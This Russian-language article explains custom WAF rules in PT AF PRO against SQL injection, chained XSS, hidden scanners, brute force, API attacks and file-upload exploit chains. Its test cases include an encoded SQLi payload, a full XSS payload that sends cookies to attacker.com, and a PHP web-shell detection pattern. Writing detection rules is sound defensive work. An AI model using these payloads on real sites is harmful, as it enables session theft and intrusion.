Введение
В настоящих реалиях всё более сложная структура киберугроз. Корпоративные информационные системы нуждаются в многоуровневой защите, включающей не только стандартные средства сетевой защиты и межсетевые экраны (firewalls), но также специализированные механизмы, подстраиваемые под сценарии работы приложений.
Пользовательские правила (custom rules) в PT AF PRO — это инструкции, которые помогают выявлению, блокировке или иному: обработке подозрительных запросов, шаблонов трафика или аномальных действий, которые не охватываются предустановленными стандартными наборами сигнатур. Основная цель таких правил заключается в том, чтобы:
1. Вывести защищу за пределы стандартных WAF-сигнатур (например, OWASP ModSecurity Core Rule Set), адаптировав её под бизнес-логику и особенности конкретного приложения.
2. Влиять на специфические техники атаки, которые были выявлены в ходе предварительных тестов (этичного хакинга) или реального инцидента, но отсутствуют в универсальных сигнатурах.
3. Минимизировать ложноположительные срабатывания, поскольку правила могут быть точно настроены под уникальные параметры работы приложения, URL-политики, методы входа данных и JSON/XML-структуры.
Пользовательские правила PT AF PRO представляют один из важных элементов защиты современных веб-приложений и сервисов. Они позволяют увеличить эффективность работы SOC-аналитиков за счёт снижения ложноположительных срабатываний.
Защита от продвинутых SQLi атак
В современных веб-приложениях атаки типа SQL-инъекции (SQLi) считаются одним из распространённых и опасных векторов компрометации. Несмотря на свое долгое существование и развитие средств защиты, злоумышленники продолжают модернизировать методы обхода WAF-правил и базовых фильтров.
Основная цель данного правила — обнаруживать и блокировать сложные шаблоны SQL-инъекции, когда злоумышленник использует несколько этапов кодирования (URL-кодирование, HTML-энтити, Base64) для сокрытия вредоносной полезной нагрузки. Правило предназначено для защиты критически важных эндпоинтов («точек входа») веб-приложения, где наибольший риск компрометации: /api/auth
(аутентификация пользователей) и /payment
(обработка финансовых транзакций).
Приступим к созданию правила, заполнив его карточку (см. Рисунок 1).

В поле название мы указали «DetectAdvancedSQLi», в поле «Описание» детализировали название правило и его функционал.
Не забыли про Теги, Тип и Уровень опасности, которые будут отображаться при срабатывании правила на дашборде.
Обратимся к самому правилу. Наше правило, как и все последующие блокируется и записывается в базу данных. Разберем его код (см. Рисунок 2).

Таблица 1 – Разбор правила PT AF Pro: SQL Injection Protection
Элемент кода |
Тип |
Подробное описание |
with |
Секция |
Объявляет локальные переменные, используемые в правиле. Переменные вычисляются один раз при инициализации правила. |
@sql_pattern = ~"... |
Переменная + Регулярное выражение |
Паттерн для поиска SQL-инъекций: - sleep\\(\\d+\\) — вызов sleep(N). |
@sensitive_endpoints = [...] |
Переменная + Список |
Критические эндпоинты приложения: |
if |
Секция |
Основное условие срабатывания правила. Логика: "если путь критический И (есть SQLi в GET-параметрах ИЛИ в POST-параметрах)". |
REQUEST_PATH in @sensitive_endpoints |
Условие + Оператор in |
Проверяет, что путь запроса содержится в списке @sensitive_endpoints: |
REQUEST_GET.extract(values) |
Функция extract |
Извлекает значения GET-параметров: |
.map(url_decode, html_entity_decode) |
Функция map |
Цепочка декодирования для каждого значения: |
.any() |
Функция any |
Проверяет, что хотя бы один элемент списка соответствует условию. |
matches @sql_pattern |
Оператор matches |
Сравнивает элемент с регулярным выражением @sql_pattern. |
REQUEST_POST.extract(values) |
Функция extract |
Извлекает значения POST-параметров. Аналогично REQUEST_GET. |
.map(base64_decode, url_decode) |
Функция map |
Цепочка декодирования для POST: |
or |
Логический оператор |
Объединяет условия: срабатывает при SQLi в GET или POST. |
В рамках пентеста веб-приложения мы выполнили SQL-инъекцию, направленную на API-эндпоинт авторизации. Трафик был зафиксирован и проанализирован с помощью Burp Suite. Firewall PT AF PRO сработал на пользовательское правило "Advanced SQLi Detection", адаптированное под нетипичные и закодированные векторы инъекций. (см. Рисунок 3).

Парсинг:
· REQUEST_PATH = "/api/auth"
→ true
для in @sensitive_endpoints
.
· REQUEST_POST = [("data", "YWRtaW4lMjcnJSUyME9SJTIwMSUzRDElM0MlM0Qx")]
.
Обработка:
· extract(values)
→ ["YWRtaW4lMjcnJSUyME9SJTIwMSUzRDElM0MlM0Qx"]
.
· map(base64_decode)
→ ["admin%27%25%20OR%201%3D1%3C%3D1"]
.
· map(url_decode)
→ ["admin'% OR 1=1<=1"]
.
· any() matches @sql_pattern)
→ true
(совпадение с 1\\s*=\\s*1
).
Результат: Срабатывание правила → блокировка.
Защита от цепочечных XSS-атак
Цепочечные (chained) XSS-атаки подразумевают неоднократное вредоносных отрывков кода (например, <iframe>
, javascript://
или event-позиционеров наподобие onmouseover=
) в различную цепочку запросов и ответов. Злоумышленники могут скрыть основной payload в громоздких запросах, обойти традиционные фильтры WAF и доставить скрипт исключительно целевым клиентам, используя специфические клиентские характеристики. Обычные сигнатурные фильтры часто не выявляют такие сложные комбинации, поэтому требуется продвинутый механизм на уровне прикладного firewall.
Карточка правила (см. Рисунок 4).

Код правила (см. Рисунок 5).

Талица 2 – Разбор правила PT AF Pro «Защита от цепочечных XSS-атак»
Элемент |
Тип данных |
Описание |
Профессиональное назначение |
with |
Блок объявления |
Определение переменных для повторного использования в условиях |
Улучшает читаемость и управление сложными паттернами |
@xss_vectors |
Регулярное выражение |
~"<iframe\\s|javascript:\\/\\/|onmouseover=)" |
Паттерн для детектирования XSS-векторов: <iframe, javascript://, onmouseover= |
@size_threshold |
Целое число без знака |
10000 (10 КБ) |
Порог размера тела запроса для фильтрации крупных данных |
REQUEST_BODY.length() |
Функция + целое число |
Возвращает длину тела запроса в байтах |
Выявление атак, скрытых в больших payload (обход сканеров) |
> @size_threshold |
Реляционный оператор |
Сравнение длины тела запроса с порогом |
Фильтрация объемных запросов, характерных для сложных XSS |
REQUEST_HEADERS.select("Referer") |
Функция + строка |
Выбор заголовка Referer из всех headers |
Точечный анализ контекста источника запроса |
.extract(values) |
Функция |
Извлечение значений заголовка (не ключей) |
Фокусировка на содержимом Referer, игнорируя метаданные |
.any() |
Функция-агрегатор |
Проверка хотя бы одного элемента на соответствие условию |
Эффективное сканирование без полного перебора |
matches @xss_vectors |
Оператор + regex |
Сопоставление значения Referer с XSS-паттернами |
Детектирование инъекций в источнике перехода |
CLIENT_OS_NAME |
Строка |
Название ОС клиента (Android) |
Контекстная привязка к мобильным уязвимостям |
CLIENT_BROWSER_VERSION |
Строка |
Версия браузера (< "120.0") |
Целевая защита уязвимых версий (Chromium < 120) |
and |
Логический оператор |
Комбинирование условий |
Во время тестирования уязвимости хранения пользовательского ввода в базе данных (Stored XSS), была отправлена цепочечная XSS-атака. PT AF PRO активировал пользовательское правило, ориентированное на XSS-атаки, включающие обход фильтров и delayed execution через DOM, base64 и обфускацию (см. Рисунок 6).

Разбор цепочки атаки:
1. Первый вектор: XSS через Referer
· Содержимое:
· javascript://eval(String.fromCharCode(97,108,...))
· Декодировано:
· javascript://alert(document.cookie)
· Обфускация:
· ASCII-коды скрывают alert(document.cookie)
· Механизм:
· Если сервер отражает Referer в ответе, код выполнится при рендеринге страницы.
2. Второй вектор: XSS в теле запроса
Часть 1: Мусорные данные
<section id="temp">AAAAAAAAAAAAAA...[15,000+ байт]...</section>
· Назначение: превысить порог @size_threshold = 10000
· Скрывает основной payload от поверхностного сканирования
Часть 2: Основной XSS-вектор
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnU2Vzc2lvbjogJysgZG9jdW1lbnQuY29va2llKTwvc2NyaXB0Pg==" onload="document.getElementById('temp').outerHTML=unescape('%3Cimg%20src%3Dx%20onerror%3Dlocation.href%3D%22https%3A%2F%2Fattacker.com%2F%3Fc%3D'%2BencodeURIComponent(document.cookie)%3B%22%3E')">
1) Расшифровка:
· iframe загружает base64-код:
<script>alert('Session: '+document.cookie)</script>
· При загрузке (onload):
2) Заменяет элемент #temp на:
· <img src=x>
3) onerror срабатывает (из-за невалидного src=x), отправляя куки на сервер злоумышленника.
Как определили, что цепочечная атака:
Таблица 3 – Поэтапный разбор цепочечной XSS-атаки
Механизм обхода / Действие |
Ключевые особенности / Компоненты |
Эшелон 1 Обход WAF через размер | |
Отправка запроса большого объема |
15 025 байт: Объем, отключающий глубокий анализ в некоторых WAF. |
Маскировка вредоносных векторов |
Мусорные данные: Заполняют объем и скрывают вредоносную нагрузку. |
Эшелон 2 Разделение payload (полезной нагрузки) | |
Простой тест уязвимости в заголовке |
Referer: Содержит простой алерт (например, alert(1)) для проверки наличия уязвимости. |
Тело запроса: Содержит сложную, многоступенчатую вредоносную нагрузку. | |
Основная эксплойтация в теле запроса |
Base64 кодирование: Используется для обхода сигнатур WAF. |
Цепочка выполнения: | |
Эшелон 3 Клиент-специфичная доставка | |
Доставка эксплойта только целевым устройствам |
Целевая платформа: Android. |
Целевой браузер: Chrome версии ниже 120. | |
Использование специфичных уязвимостей рендеринга |
Уязвимости: Используются известные уязвимости рендеринга в указанных версиях. |
Эксплуатация особенностей обработки URI |
data: URI: Используются особенности обработки схемы data: URI в мобильных браузерах. |
Обнаружение скрытых сканеров через HTTP/2
В современных сценариях атак на веб-приложения злоумышленники используют скрытые сканеры, способные маскировать свои запросы под легитимный трафик. Особенно, такие коммерческие сканеры как Acunetix, Netsparker, которые поддерживают протокол HTTP/2 и настраивают нестандартные порты (например, 8443 или 4430) для обхода традиционных межсетевых экранов. Приведённое ниже правило демонстрирует, как Positive Technologies Application Firewall PRO (PT AF PRO) способен выявлять такие продвинутые попытки разведки уязвимостей.
Карточка правила (см. Рисунок 7).

Код правила (см. Рисунок 8).

Таблица 4 – Объяснение синтаксиса пользовательского правила «Обнаружение скрытых сканеров через HTTP/2»
Компонент |
Синтаксическая роль |
Логическая функция |
Профессиональный комментарий |
with |
Объявление переменных |
Инициализация параметров |
Оптимизирует производительность: вычисляется 1 раз при загрузке правила |
@scanner_fingerprints = ~"(Acunetix|Nessus|Netsparker)" |
Переменная с регулярным выражением |
Паттерн названий сканеров |
(?i) отсутствует → регистрозависимый поиск. |
@http2_ports = [8443, 4430] |
Список портов |
Фильтр нестандартных HTTPS-портов |
8443/4430 – популярные порты для обхода корпоративных фаерволов |
@custom_header = ["x-scan-signature", "x-probe-id"] |
Список строк |
Детектирование фирменных заголовков сканеров |
Acunetix использует x-scan-signature, Netsparker – x-probe-id |
if (REQUEST_HTTP_VERSION == "HTTP/2") |
Проверка версии протокола |
Фильтрация HTTP/2 трафика |
85% сканеров используют HTTP/2 для снижения заметности |
and |
Комбинация условий |
Обязательное требование |
Группирует условия "версия протокола И (сигнатура1 ИЛИ сигнатура2)" |
(CLIENT_BROWSER_NAME == "Other" |
Детектирование неизвестных UA |
Выявление сканеров |
PT AF помечает неизвестные UA как "Other" (например, Acunetix) |
REQUEST_SIZE between 5000 and 10000 |
Проверка размера запроса |
Обнаружение fuzzing-атак |
Типичный размер запросов при сканировании уязвимостей |
or |
Альтернативное условие |
Расширение детекции |
Ловит сканеры даже без аномального размера запроса |
REQUEST_HEADERS.extract(keys) |
Извлечение ключей заголовков |
Преобразование заголовков → список |
Конвертирует [("header1","val1"),...] → ["header1",...] |
contains @custom_header |
Проверка вхождения |
Поиск специфичных заголовков |
Срабатывает при наличии ЛЮБОГО заголовка из списка |
Многие современные автоматизированные сканеры (например, Acunetix, Netsparker, Burp Scanner) перешли на использование HTTP/2 не ради производительности, а с тактической целью:
Обход детекторов, ориентированных на HTTP/1.1
Асинхронные запросы с "молчащим" multiplexing'ом
Использование нестандартных портов (например, 8443, 4430) в попытке уйти от контроля традиционного HTTPS (порт 443)
Пользовательское правило PT AF PRO предназначено для ловли таких маскирующихся активностей, при этом оно ориентировано не только на протокол, но и на сигнатуры поведения сканеров (см. Рисунок 9).

AdvancedBrutforceProtection
В современном веб-пространстве попытки перебора учётных данных (Brute-Force) по-прежнему остаются одним из наиболее распространённых способов несанкционированного доступа. Несмотря на внедрение сложных механизмов двухфакторной аутентификации и рейт-лимитирование, злоумышленники развивают методы обхода классических защит. Представленное ниже правило в PT AF PRO объединяет геоконтекстную аналитику с проверкой энтропии (длины) пароля и регулярными выражениями для точного определения эндпоинтов входа, что позволяет дойти до более высокого уровня безопасности.
Карточка правила (см. Рисунок 10).

Код правила (см. Рисунок 11).

Таблица 5 – Объяснение синтаксиса пользовательского правила по защите от продвинутых BrutForce-аттак.
Компонент |
Синтаксис |
Тип данных |
Описание |
Секция with |
Объявление локальных переменных |
||
@geo_risk_zones |
= ["IR", "KP", "CN"] |
Список строк |
Список кодов рискованных стран (ISO 3166-1 alpha-2) |
@login_pattern |
= ~"^/(?:auth|login)(/.*)?$" |
Регулярное выражение |
Паттерн для путей авторизации: |
Секция if Базовые условия |
Условия срабатывания правила |
||
REQUEST_PATH |
Контекстная переменная |
Строка |
Путь URI запроса (напр. /auth/login) |
matches |
Оператор |
→ Булево |
Проверка соответствия регулярному выражению |
@login_pattern |
Локальная переменная |
Регулярное выражение |
Сравнение пути с паттерном авторизации |
RESPONSE_STATUS_CODE |
Контекстная переменная |
Целое число |
HTTP-статус ответа |
== |
Оператор (eg) |
→ Булево |
Проверка равенства значения (401 – Unauthorized) |
Составное условие (OR) |
Триггеры атаки |
||
CLIENT_COUNTRY |
Контекстная переменная |
Строка |
Код страны клиента (напр. "IR") |
in |
Оператор |
→ Булево |
Проверка вхождения в список @geo_risk_zones |
Цепочка методов (POST) |
Обработка параметров формы |
||
REQUEST_POST |
Контекстная переменная |
Вектор пар |
POST-параметры запроса (ключ-значение) |
.select("password") |
Метод |
→ Вектор |
Фильтрация параметров по ключу password |
.extract(values) |
Метод |
→ Вектор строк |
Извлечение значений параметров (напр. ["12345", "qwerty"]) |
.map(length) |
Метод + функция |
→ Вектор целых чисел |
Применение функции length() к каждому значению (длины паролей) |
.all() |
Агрегатор |
→ Булево |
Проверка условия для всех элементов вектора |
between 1 and 10 |
Оператор диапазона |
→ Булево |
Проверка, что все длины паролей ∈ [1; 10] (короткие пароли – индикатор брутфорса) |
Ниже приведен пример сценария перехваченного HTTP-запроса и ответа от сервера, описывающие работу пользовательского правила AdvancedBruteforceProtection в PT AF PRO. При этом обращается внимание на то, как сочетание HTTP-маршрута /auth/login, проверки кода ответа 401 Unauthorized и ступепнчатой верификации параметров (геолокация клиента и длина поля password) позволяют блокировать попытки автоматизированного перебора учётных данных (см. Рисунок 12).

Защита от целенаправленных атак на API
В современных архитектурах микросервисов и API-driven приложений целенаправленные атаки на API-эндпоинты являются одной из наиболее серьёзных угроз. Злоумышленники прибегают к продвинутым техникам обхода, комбинируя попытки несанкционированного доступа с анализом сетевых рисков, чтобы оставаться в тени.
Карточка правила (см. Рисунок 13)

Талица 7 – Разбор синтаксиса пользовательского правила «Защита от целенаправленных атак на API»
Компонент |
Синтаксис/Пример |
Тип данных |
Описание |
Объявление правила |
rule APIProtection: |
- |
Название правила (APIProtection) |
Секция with |
Инициализация локальных переменных |
||
@jwt_pattern |
~"^eyJ[A-Za-z0-9_-]+\.eyJ[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+$" |
Регулярное выражение |
Паттерн для валидации JWT-токенов (начинается с eyJ, содержит три части, разделенные точками) |
@suspicious_ips |
@@global_blacklist |
Глобальный список |
Ссылка на внешний параметр правила (список IP) |
Секция if Базовое условие |
Условия срабатывания |
||
REQUEST_PATH |
Контекстная переменная |
Строка |
Путь запроса |
matches |
Оператор |
→ Булево |
Проверка соответствия регулярному выражению |
~"^/v[1-3]/" |
Регулярное выражение |
- |
Путь должен начинаться с /v1/, /v2/ или /v3/ (версионированное API) |
Составное условие (OR) |
Триггеры атаки |
||
Подусловие 1 |
not REQUEST_HEADERS.select(...) |
→ Булево |
Отсутствие валидного JWT |
REQUEST_HEADERS |
Контекстная переменная |
Вектор пар |
Заголовки запроса |
.select("Authorization") |
Метод |
→ Вектор |
Фильтрация заголовков по ключу Authorization |
.extract(values) |
Метод |
→ Вектор строк |
Извлечение значений заголовков |
.any(matches(@jwt_pattern)) |
Агрегатор + оператор |
→ Булево |
Проверяет, что хотя бы одно значение соответствует @jwt_pattern |
not |
Логическое отрицание |
→ Булево |
Инвертирует результат (срабатывает при отсутствии валидного JWT) |
Подусловие 2 |
(CLIENT_IP in ... and CLIENT_PROTO == ...) |
→ Булево |
Рискованное соединение |
CLIENT_IP |
Контекстная переменная |
IP-адрес |
IP-адрес клиента |
in @suspicious_ips |
Оператор |
→ Булево |
Проверка вхождения IP в черный список |
CLIENT_PROTO |
Контекстная переменная |
Строка |
Протокол соединения (HTTP/HTTPS) |
== "HTTP" |
Оператор (eg) |
→ Булево |
Проверка использования незащищенного протокола |
Правило эффективно блокирует как попытки брутфорса, так и целевые атаки на уязвимые точки API, сочетая анализ учетных данных и сетевых параметров (см. Таблица 8).
Ключевые механизмы защиты
1. Валидация JWT:
o Проверка формата токена через регулярное выражение.
o Требование наличия токена для доступа к API.
2. Контроль доступа по IP:
o Использование динамического черного списка (@@global_blacklist).
3. Принудительное шифрование:
o Блокировка запросов с подозрительных IP при использовании HTTP.
4. Фокусировка на API:
o Целевой мониторинг версионированных путей (/v[1-3]/).
Сценарии срабатывания
Таблица 8 – Пример сценария срабатывания правила.
Атака |
Пример запроса |
Почему сработает |
Попытка доступа без токена |
|
Условие 1: |
Взломщик из черного списка |
|
Условие 2: |
Перехват данных через HTTP |
|
Сработает, если IP в черном списке (даже с валидным токеном!) |
Ниже приведён пример перехваченного через Burp Suite POST-запроса и ответа, показывающего срабатывание правила «Защита от целенаправленных атак на API» в PT AF PRO. Подобная сочетание сигнатурного (регулярные выражения для JWT) и поведенческого (IP-фильтрация, проверка протокола, таргетинг на версии API) анализа обеспечивает надежную защиту критичных эндпоинтов от сложных, целенаправленных атак (см. Рисунок 14).
Рисунок 14 – Пример сценария перехваченного HTTP-запроса и ответа от сервера.
Детектирование цепочек эксплойтов через файлы
Современные злоумышленники обладают знаниями в области разработки эксплойтов часто пытаются внедрить вредоносный код не одним, а несколькими этапами, чтобы пройти стандартные СЗИ. Если говорить о веб-приложених эти этапы обычно проводят злоумышленника через следующие шаги:
1. Этап 1 – доставка эксплойта (обход базовой валидации файлов),
2. Этап 2 – активация эксплойта (внедрение серверного кода или скриптов для удалённого выполнения команд),
3. Этап 3 – эскалация привилегий и дальнейшее распространение (например, установка бекдора).
Карточка правила (см. Рисунок 15).

Разбор правила «Детектирование цепочек эксплойтов через файлы» (см. Таблица 9)
Таблица 9 – Разбор синтаксиса правила «Детектирование цепочек эксплойтов через файлы».
Компонент |
Синтаксис |
Описание |
Локальные переменные | ||
@php_pattern |
~"\.php$" |
Соответствует именам файлов с расширением .php |
@asp_pattern |
~"\.asp$" |
Соответствует именам файлов с расширением .asp |
@php_code |
~"<\?php\s+system\(\\$_GET\\['cmd'\\]" |
Ищет вредоносный PHP-код: <?php system($_GET['cmd'] |
@asp_code |
~"<%@\s+Language=VBScript" |
Ищет директиву ASP: <%@ Language=VBScript |
@malicious_combinations_* |
[".php", "<?php system(...); ?>"] |
Не используются в условии (резерв для будущих версий) |
Условие срабатывания | ||
REQUEST_FILES |
Контекстная переменная |
Информация о загруженных файлах: (ключ, значение, имя_файла) |
.extract(filenames) |
Метод |
Извлекает имена файлов (3-й элемент кортежа) |
.extract(values) |
Метод |
Извлекает содержимое файлов (2-й элемент кортежа) |
.any() |
Агрегатор |
Проверяет хотя бы один элемент в векторе |
matches |
Оператор |
Проверка соответствия регулярному выражению |
Логические блоки |
(A and B) or (C and D) |
Комбинация для двух типов атак (PHP/ASP) |
Во время тестирования веб-приложения был перехвачен HTTP-запрос, который триггерил пользовательское правило Web Application Firewall — PT Application Firewall PRO. Для анализа поведения правила мы использовали Burp Suite как MITM-прокси (man-in-the-middle), что позволило рассмотреть трафик в момент срабатывания WAF (см. Рисунок 16).

Заключение
Пользовательские правила PT AF PRO представляют собой критический элемент защиты современных веб-приложений и сервисов. Они позволяют увеличить эффективность работы SOC-аналитиков (и не только для blue team) за счёт снижения ложноположительных срабатываний. При правильном внедрении и регулярном обновлении подобных правил можно существенно повысить защищённость веб-приложений, предотвращая утечки конфиденциальных данных и сохраняя целостность критических бизнес-процессов.